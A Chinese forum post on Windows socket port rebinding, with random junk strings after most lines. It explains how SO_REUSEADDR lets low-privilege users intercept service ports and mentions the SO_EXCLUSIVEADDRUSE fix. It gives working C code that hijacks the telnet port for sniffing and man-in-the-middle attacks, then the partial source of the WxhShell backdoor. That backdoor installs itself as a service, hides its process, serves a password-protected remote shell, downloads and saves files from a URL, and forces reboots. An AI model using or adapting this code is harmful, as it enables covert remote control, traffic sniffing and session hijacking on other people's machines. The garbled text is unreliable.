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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CiV^bYi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :Y|[?;  
r&+w)U~  
  saddr.sin_family = AF_INET; c,:nWf  
p^1~o/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @ qS Z=  
/ E!N:g<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H*P[tyz$  
{DapXx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q8!]x-5$6j  
YkbuyUui  
  这意味着什么?意味着可以进行如下的攻击: p<<dj%  
#;= sJ[m4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tol"D2cyf  
X/_89<&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &xpvHKJl  
n1x"B>3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WXY-]ir.  
M.HMn N#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S0tkqA4  
0g;)je2_2?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?./%7v  
|\>Ifv%{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pekNBq Wm  
?AH B\S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l.P;85/+  
IL1iTR H  
  #include tAPf#7{|   
  #include !;4Hh)2  
  #include fRT4>So   
  #include    mL-6+pJ@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pfs]pDjS:  
  int main() m Ga:~x  
  { ExM VGe  
  WORD wVersionRequested; R9(Yi<CC  
  DWORD ret; JLt%G^W >  
  WSADATA wsaData; ^X?uAX-RP|  
  BOOL val; :5F(,Z_  
  SOCKADDR_IN saddr; l"7#(a  
  SOCKADDR_IN scaddr; U~d%5?q  
  int err; !zsrORF{  
  SOCKET s; {  '402  
  SOCKET sc; @j"6f|d  
  int caddsize; %@:6&  
  HANDLE mt; =\ k:]  
  DWORD tid;   [$F*R@,&  
  wVersionRequested = MAKEWORD( 2, 2 ); ~N2=44e  
  err = WSAStartup( wVersionRequested, &wsaData ); t .}];IJP  
  if ( err != 0 ) { ~ToU._  
  printf("error!WSAStartup failed!\n"); do*aE  
  return -1;  <k0/O  
  } p I~;3T:!  
  saddr.sin_family = AF_INET; |?]doBm|  
   VkO*+"cGv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Abi(1nXdQ  
7#c4.9b?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N}1yDN  
  saddr.sin_port = htons(23); . :>e"D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #G_'5{V  
  { T|0+o+i  
  printf("error!socket failed!\n"); 0yvp>{;p  
  return -1; 1 +Ue m  
  } [ [pt~=0  
  val = TRUE; K- $,:28  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &YcOmI/MM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N:okt)q:%  
  { "$aoIXv  
  printf("error!setsockopt failed!\n"); B,&QI&k`~  
  return -1; y=.bn!u}z  
  } ##} 7cFX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A2;6Vz=z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rL&Mq}7QK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jE wt1S V  
c&x1aF "B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 74a@/'WbE  
  { /[D_9  
  ret=GetLastError(); U82mO+}  
  printf("error!bind failed!\n"); J3(E{w8Q  
  return -1; 4 R(m$!E!  
  } 0\vG <  
  listen(s,2); QxN1N^a0  
  while(1) qE|syA9  
  { &r~s3S{pQ  
  caddsize = sizeof(scaddr); QQ_7Q^  
  //接受连接请求 2P)O 0j\/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1q@R04i  
  if(sc!=INVALID_SOCKET) 4P"bOt5izR  
  {  jr_z ?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f0j]!g  
  if(mt==NULL) "*.N'J\  
  { GmaNi  
  printf("Thread Creat Failed!\n"); lG Bg8/[  
  break; #9Jr?K43  
  } <,rOsE6  
  } O`@- b#  
  CloseHandle(mt); =<#G~8WYz  
  } oP9 y@U  
  closesocket(s); ?Pp*BB,*y  
  WSACleanup(); IM7<z,*oF  
  return 0; z#ki# o  
  }   *z)gSX  
  DWORD WINAPI ClientThread(LPVOID lpParam) i;U*Y *f  
  { "M!m-]  
  SOCKET ss = (SOCKET)lpParam; 6 Bdxdx*zt  
  SOCKET sc; UAT\ .  
  unsigned char buf[4096]; 9cUa@;*1  
  SOCKADDR_IN saddr; $A-X3d;'\/  
  long num; biU_ImJ>0  
  DWORD val; |Tc4a4jS  
  DWORD ret; zL9~gJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9Li*L&B)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =>B"j`oR  
  saddr.sin_family = AF_INET; w$AR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xO Aq!,|V  
  saddr.sin_port = htons(23); mO]>]   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZJQFn  
  { ]K*R[  
  printf("error!socket failed!\n"); gwQMy$  
  return -1; ~59lkr8  
  } 4xr^4\ lk  
  val = 100; E:ci/09wD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ul9^"o  
  { K%+4M#jj5  
  ret = GetLastError(); W dD889\  
  return -1; oKCy,Ot<  
  } /\b* oPWJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *jbPy?%oY  
  { 9\<q =p~  
  ret = GetLastError(); N`,\1hHMT  
  return -1; ;Tp9)UP)  
  } `6J7c;:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (lVMy\  
  { Z|$DchC  
  printf("error!socket connect failed!\n"); -` ViuDX=  
  closesocket(sc); =g! Pw]  
  closesocket(ss); D|*w6p("z  
  return -1; L;u5  
  } Wp8>Gfb2  
  while(1) |[Fb&x  
  { hN6wp_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vjv6d&Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `Ucj_6&Tqs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fc8ODk*;E  
  num = recv(ss,buf,4096,0); k|?[EWIi^  
  if(num>0) *2->>"kh  
  send(sc,buf,num,0); * 7Ov.v%  
  else if(num==0) &C+2p  
  break; 3PZ(Kn<  
  num = recv(sc,buf,4096,0); 1h?ve,$  
  if(num>0) 1x;@BV  
  send(ss,buf,num,0); CYgokS\=,  
  else if(num==0) ZxSFElDD]E  
  break; <tF q^qB  
  } 4n6AK`E  
  closesocket(ss); =<3HOOC  
  closesocket(sc); b7dsi|Yo  
  return 0 ; )Bn }|6`  
  } k}H7bZug  
aH?Ygzw  
'~K]=JP  
========================================================== KFHZ3HZ:>  
T=tW'tlT\v  
下边附上一个代码,,WXhSHELL =3QhGFd  
(b//YyqN  
========================================================== >pLJ ,Z  
FEu"b@v  
#include "stdafx.h" SfC* ZM}<  
||QK)$"  
#include <stdio.h> O}Pqbx&  
#include <string.h> cMZy~>  
#include <windows.h> 2SC-c `9)  
#include <winsock2.h> YR-G:-(#b  
#include <winsvc.h> h`\ $8 oV  
#include <urlmon.h> UHvA43  
I <D7 Jj  
#pragma comment (lib, "Ws2_32.lib") vLHn4>J,R  
#pragma comment (lib, "urlmon.lib") uK$ Xqo%L  
tm.60udbo  
#define MAX_USER   100 // 最大客户端连接数 {{Ox%Zm  
#define BUF_SOCK   200 // sock buffer mu{C>w_Rz  
#define KEY_BUFF   255 // 输入 buffer k+-?b(z)$  
{c9 f v H  
#define REBOOT     0   // 重启 #J&3Zds  
#define SHUTDOWN   1   // 关机 5tpC$4m  
AZc= Bbh  
#define DEF_PORT   5000 // 监听端口 By8SRWs  
;!S5P(  
#define REG_LEN     16   // 注册表键长度 U'ctO%  
#define SVC_LEN     80   // NT服务名长度 X/2GTU7?  
8Lx/ZGy  
// 从dll定义API VfpT5W<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ydYsmTr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r/'!#7dLG-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |{kbc0*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lr~ |=}^  
"/e)v{  
// wxhshell配置信息 4x[_lsj   
struct WSCFG { rIcgf1v70  
  int ws_port;         // 监听端口 yjL+1_"B  
  char ws_passstr[REG_LEN]; // 口令 ?SFQx \/  
  int ws_autoins;       // 安装标记, 1=yes 0=no R)JH D7 1  
  char ws_regname[REG_LEN]; // 注册表键名 ub~ t}  
  char ws_svcname[REG_LEN]; // 服务名 ^.8~}TT-U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z~vcwiYAP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GWuKDq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  FNH)wk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nL=+`aq_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yft [)id  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C}mhnU@  
T.;{f{  
}; iKrk?B<  
1k4\zVgi  
// default Wxhshell configuration /i>n1>~yn  
struct WSCFG wscfg={DEF_PORT, ]-X6Cl  
    "xuhuanlingzhe", bpZA% {GS  
    1, J^jd@E  
    "Wxhshell", &"K_R(kN  
    "Wxhshell", :VP4:J^  
            "WxhShell Service", #;ObugY,  
    "Wrsky Windows CmdShell Service", {f-O~P<Z4  
    "Please Input Your Password: ", W%>T{}4  
  1, mA$y$73=T  
  "http://www.wrsky.com/wxhshell.exe", ?j/FYi  
  "Wxhshell.exe" |8CxMs  
    }; _LwF:19Il  
\;~Nj#  
// 消息定义模块 N? Jy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3#t#NW*e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f EL 9J{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d%0Gsga}  
char *msg_ws_ext="\n\rExit."; Cwls e-  
char *msg_ws_end="\n\rQuit."; P*iC#w]m  
char *msg_ws_boot="\n\rReboot..."; G8+&fn6  
char *msg_ws_poff="\n\rShutdown..."; G3^<l0?S  
char *msg_ws_down="\n\rSave to "; >eG<N@13p  
v2rO>NY4  
char *msg_ws_err="\n\rErr!"; p2 1|  
char *msg_ws_ok="\n\rOK!"; <{k{Coy  
3f^Pr  
char ExeFile[MAX_PATH]; Vu.=,G  
int nUser = 0; vq(#Ih2  
HANDLE handles[MAX_USER]; L#K`F8Wi=  
int OsIsNt; vx($o9  
XjL3Ar*  
SERVICE_STATUS       serviceStatus; yYJ_;Va  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J1I,;WGf  
_"@:+f,  
// 函数声明 Up?RN%gq  
int Install(void); :<zIWje  
int Uninstall(void); H5Eso*v@  
int DownloadFile(char *sURL, SOCKET wsh); P#V!hfM  
int Boot(int flag); G1jj:]1  
void HideProc(void); li3,6{S#  
int GetOsVer(void); 46NuT]6/4  
int Wxhshell(SOCKET wsl); RVm-0[m}  
void TalkWithClient(void *cs); o 7kg.w|  
int CmdShell(SOCKET sock); #&kj>   
int StartFromService(void); Mw RLv,&"  
int StartWxhshell(LPSTR lpCmdLine); *h0D,O"0  
m_0y]RfG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .8s-)I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wX}p6yyN  
*V',@NH#Os  
// 数据结构和表定义 !i-t6f  
SERVICE_TABLE_ENTRY DispatchTable[] = LcvczS T  
{ ~;CNWJtcf(  
{wscfg.ws_svcname, NTServiceMain}, f:+/= MW  
{NULL, NULL} q&z'S  
}; oB5\^V$  
F|> 3gW  
// 自我安装 G!$~'o%/  
int Install(void) 3ArHaAv{y  
{ FulFEnSV  
  char svExeFile[MAX_PATH]; A{q%sp:3~  
  HKEY key; ,o n]Fts  
  strcpy(svExeFile,ExeFile); C5V}L  
Z qn$>mG-  
// 如果是win9x系统,修改注册表设为自启动 *]U`]!Esp  
if(!OsIsNt) { N\__a~'0p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %r1#G.2YW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qb?a[[3  
  RegCloseKey(key); !gW`xVGv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \;N+PE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "dIWHfQB  
  RegCloseKey(key); @ywtL8"1~  
  return 0; Jfr'OD2$ %  
    } FCNYfjB%  
  } 5n2!Y\  
} /xJD/"Y3&  
else { w*XM*yJHU  
&6OY ^6<  
// 如果是NT以上系统,安装为系统服务 wJ2cAX;"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nE8z1hBUq  
if (schSCManager!=0) "|Q.{(|kO1  
{ VnW6$W?g  
  SC_HANDLE schService = CreateService bdstxjJ`  
  ( :5/Ue,~ag  
  schSCManager, +'g O%^{l  
  wscfg.ws_svcname, <e BmCrJ  
  wscfg.ws_svcdisp, r]cq|Nv8:  
  SERVICE_ALL_ACCESS, b 3Q6-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =5Db^  
  SERVICE_AUTO_START, ~_JfI7={Jn  
  SERVICE_ERROR_NORMAL, -&7? !<f  
  svExeFile, UAXp;W`  
  NULL, 0>CG2SRn  
  NULL, [ K/l;Zd  
  NULL, cJ$jU{}  
  NULL, lfM vNv  
  NULL KDEyVYO:  
  ); n~yHt/T  
  if (schService!=0) QxW+|Gt._  
  { }O~D3z4l0  
  CloseServiceHandle(schService); q]: 72+  
  CloseServiceHandle(schSCManager); 9*I[q[>9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =JE<oVP8  
  strcat(svExeFile,wscfg.ws_svcname); wicsf<]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Q7:Mu+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L^t%p1R  
  RegCloseKey(key); .B~yI3D`M  
  return 0; B)@Xz<Q  
    } rT4Q^t"  
  } uxL+oP0  
  CloseServiceHandle(schSCManager); QDYuJ&!h  
} C2rG3X^~Jm  
} l[[`-f8j  
_Kaqx"D  
return 1; BN]o!Y  
} ku m@cA  
f3! Oc  
// 自我卸载 xSN;vrLHR  
int Uninstall(void) N~/X.D4e#  
{ E8kD#tL  
  HKEY key; ]_B<K5  
%%X/gvaJ  
if(!OsIsNt) { yWRIh*>nE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iSf%N>y'K  
  RegDeleteValue(key,wscfg.ws_regname); \m)s"Sh.  
  RegCloseKey(key); %52e^,//  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XuJyso9kA  
  RegDeleteValue(key,wscfg.ws_regname); X~VI}dJ  
  RegCloseKey(key); =:g\I6'a  
  return 0; =t_+ajY%  
  } *c4OhMU(  
} QmSj6pB>  
} h *;c"/7  
else { 6 DQOar>d  
[7.Num_L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ek5j;%~g1  
if (schSCManager!=0) 4 `l$0m@>  
{ ~\-=q^/!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b~fl,(sZp  
  if (schService!=0) <#BK(W~$  
  { y]{b4e  
  if(DeleteService(schService)!=0) { ?yAb=zI1b  
  CloseServiceHandle(schService); e:-pqZT`  
  CloseServiceHandle(schSCManager); 4ZUtK/i+r  
  return 0; ~N9k8eT  
  } "Fmq$.$%  
  CloseServiceHandle(schService); M/W9"N[ta  
  } *sp")h#Z  
  CloseServiceHandle(schSCManager); yj_/:eX  
} 2*`kkS  
} P51cEhf  
FYik}wH]  
return 1; >yn?@ve@  
} )2"g)9!  
("=q-6$G  
// 从指定url下载文件 FDuA5At  
int DownloadFile(char *sURL, SOCKET wsh) f 1SKOq  
{ O2Y|<m  
  HRESULT hr; oVk!C a  
char seps[]= "/";  Yf[Cmn  
char *token; $G0e1)D  
char *file; %9zpPr WF  
char myURL[MAX_PATH]; DmgDhNXKq  
char myFILE[MAX_PATH]; lv] U)p  
.=}\yYGe   
strcpy(myURL,sURL); {@Lun6\  
  token=strtok(myURL,seps); +~F>:v?Rh  
  while(token!=NULL) #"A`:bjG  
  { 81#x/&E]  
    file=token; a++gwl  
  token=strtok(NULL,seps); vRaxB  
  } <^;~8:0]  
&'e+`\  
GetCurrentDirectory(MAX_PATH,myFILE); s'tXb=!HO  
strcat(myFILE, "\\"); ;LC|1_ '  
strcat(myFILE, file); 3?aM\z;  
  send(wsh,myFILE,strlen(myFILE),0); Fi+ DG?zu  
send(wsh,"...",3,0); G@D8 [  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #('R`~  
  if(hr==S_OK) 2@_3V_  
return 0; a>#$&&oQ0  
else Ro$*bN6p  
return 1; ,%/F,O+#  
L1lDDS#  
} ;X;x.pi   
r!{i2I|  
// 系统电源模块 :k_)Bh?+  
int Boot(int flag) oVUsI,8  
{ ?zsRs?rc0  
  HANDLE hToken; -*&aE~Cs  
  TOKEN_PRIVILEGES tkp; _,F\%}  
uUBUUr  
  if(OsIsNt) { "9c!p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ={h^X0<s9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xV`)?hEXFh  
    tkp.PrivilegeCount = 1; 7]5+%[Dg!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nF3Sfw,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k=Wt57jt  
if(flag==REBOOT) { |d42?7}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k|]l2zlT  
  return 0; 4,)QV_?  
} $y<`Jy]+)~  
else { S:2 xm8 i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S._h->5f  
  return 0; 2,|@a\H  
} dj,lbUL  
  } X2~KNw  
  else { Iw$T'I+4W  
if(flag==REBOOT) { w3fD6$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uq%|v  
  return 0; "$"<AKCwS  
} rTC|8e  
else { P4MP`A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g*9&3ov  
  return 0; 8z&/{:Z@pH  
} f4X}F|!h  
} ?q'r9Ehe  
Xn!=/<TIVz  
return 1; &$qIJvMiK  
} zZ<~yi3A9  
*D7oHwDU  
// win9x进程隐藏模块 D* HK[_5  
void HideProc(void) )B @&q.2B=  
{ N0 t26| A  
(hY^E(D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jju?v2y`  
  if ( hKernel != NULL ) 5(\[Gke  
  { lm'.G99{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?K.!^G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1Ji"z>H*  
    FreeLibrary(hKernel); <(qdxdUp  
  } e [F33%  
)pey7-P7g5  
return; BIvz55g  
} !wrAD"l*@  
gr>FLf   
// 获取操作系统版本 .= 8Es#  
int GetOsVer(void) @[rlwwG,  
{ G_5NS<JE"S  
  OSVERSIONINFO winfo; 8,m:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mvtuV`  
  GetVersionEx(&winfo); =\<!kJ\yH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NL ceBok  
  return 1; jm |zn  
  else o{ | |Ig  
  return 0; MD+ eLA7  
} PzLV}   
%bnjK#o"Q  
// 客户端句柄模块 ;u%4K$   
int Wxhshell(SOCKET wsl) 3'`X_C|d53  
{ -g vS 3`lX  
  SOCKET wsh; NQvT4.*  
  struct sockaddr_in client; 495(V(+5  
  DWORD myID; z<<aT  
fli7Ow?M~  
  while(nUser<MAX_USER) l}Vg;"1'J  
{ gE!`9#..  
  int nSize=sizeof(client); t`4o&vsj=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qc:Sf46O  
  if(wsh==INVALID_SOCKET) return 1; U09@pne8  
RKz _GEH)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y|D-W>0cX3  
if(handles[nUser]==0) `VOLw*Ci  
  closesocket(wsh); ~/R}K g(  
else nx4E}8!Lh  
  nUser++; t== a(e  
  } RQ51xTOL4]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'nqVcNgb  
"}UYsXg  
  return 0; pvd9wKz  
} tgm(tDL  
Yf^/YLLS  
// 关闭 socket O[')[uo8s  
void CloseIt(SOCKET wsh) gq?~*4H  
{ >z8y L+  
closesocket(wsh); Rv+p4RgA  
nUser--; ?x =Sm|Ej  
ExitThread(0); Fd0\T#k  
} ^TY8,qDA  
SVyJUd_  
// 客户端请求句柄 =}4lx^`oeT  
void TalkWithClient(void *cs) l' Z `%}R  
{ 3_k3U  
N_8L8ds5  
  SOCKET wsh=(SOCKET)cs; [$GQ]Y  
  char pwd[SVC_LEN]; 2$QuR~  
  char cmd[KEY_BUFF]; s}Sxl0  
char chr[1]; x1*@PiO,.  
int i,j; Z{.L_ ]$ I  
/B9jmvj`  
  while (nUser < MAX_USER) { bk-aj'>+  
u&Dd9kMz  
if(wscfg.ws_passstr) { iJK rNRj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4K*DEVS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CU(W0D  
  //ZeroMemory(pwd,KEY_BUFF); s((_^yf  
      i=0; ?GGh )";y  
  while(i<SVC_LEN) { nnO@$T  
g|l|)T.s  
  // 设置超时 +^.Q%b0Xx  
  fd_set FdRead; ! J@pox-t  
  struct timeval TimeOut; `<l|XPv  
  FD_ZERO(&FdRead); ,TxZ:f`"  
  FD_SET(wsh,&FdRead); uv dx>5]  
  TimeOut.tv_sec=8; A&fh0E (t  
  TimeOut.tv_usec=0; ^l/$ 13=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); } u7&SU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q&wXs/$a  
\it<]BN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,o j\=2  
  pwd=chr[0]; u~d&<_Z  
  if(chr[0]==0xd || chr[0]==0xa) { DK;/eZe  
  pwd=0; 0CO6-&F9n  
  break; TS<uBX  
  } IyA8+N y  
  i++; ?`O Dt]s  
    } YPq`su7m9  
zuZlP  
  // 如果是非法用户,关闭 socket `Lu\zR%<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }UWRH.;v  
} eL!G, W  
/C}fE]n{X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kq0hT4w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J#W>%2 "s  
{*C LWs4  
while(1) { p^``hP:J  
 goT:\2  
  ZeroMemory(cmd,KEY_BUFF); Rx=pk  
FR@ dBcJUU  
      // 自动支持客户端 telnet标准   7u^6`P  
  j=0; Gu_Rf&:  
  while(j<KEY_BUFF) { 0IM#T=V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !kfnqe?|  
  cmd[j]=chr[0]; [}_ar  
  if(chr[0]==0xa || chr[0]==0xd) { {\e wf_pFk  
  cmd[j]=0; g)iSC?H  
  break; !f\6=Z?>3  
  } DEC,oX!bI1  
  j++; yMa5?]J  
    } SVo`p;2r  
T't^pO-`  
  // 下载文件 v+=_  
  if(strstr(cmd,"http://")) { J=U7m@))Y#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K`2a{`  
  if(DownloadFile(cmd,wsh)) b\\?aR |  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vu.f B4  
  else Ic/<jFZXM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JhDjY8?86  
  } ':w6 {b  
  else { 2h6F j&  
hTn }AsfLY  
    switch(cmd[0]) { g `B?bBg  
  &,&oTd.  
  // 帮助 a~~"2LE`  
  case '?': { /aJl0GL4!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  D-4 PEf  
    break; U%45qCU  
  } 8`qw1dF  
  // 安装 %GS)9{T&  
  case 'i': { Urx gKTry  
    if(Install()) 8YN+ \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cY>;(x@  
    else Ec6{?\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %3VwCuE  
    break; [* > @hx  
    } xt"/e-h }  
  // 卸载 ^j=_=Km]  
  case 'r': { r/O(EW#=8  
    if(Uninstall()) tY :-13F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1^zF/$%  
    else gi@+2 7;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z9aDE@A  
    break; .+B)@?  
    } g%=\Wiit]  
  // 显示 wxhshell 所在路径 j4}aK2[<  
  case 'p': { t7A.b~#  
    char svExeFile[MAX_PATH]; I"JT3[*s  
    strcpy(svExeFile,"\n\r"); ESASsRzk  
      strcat(svExeFile,ExeFile); $@&bK2@.(  
        send(wsh,svExeFile,strlen(svExeFile),0); ($W9 ?  
    break; @3S2Xb{ra1  
    } "ej>1{3Y:=  
  // 重启 uR)@v^$FE  
  case 'b': { ]-fZeyY$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V`WfJ>{;Z  
    if(Boot(REBOOT)) y~S[0]y>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ypd  
    else { up2%QbN(  
    closesocket(wsh); sfrh+o57  
    ExitThread(0); 6y5arP*6e  
    } {2:H`|x  
    break; %r!#  
    } H[Pb Wy:  
  // 关机 T8hQ< \g  
  case 'd': { BkqIfV%O  
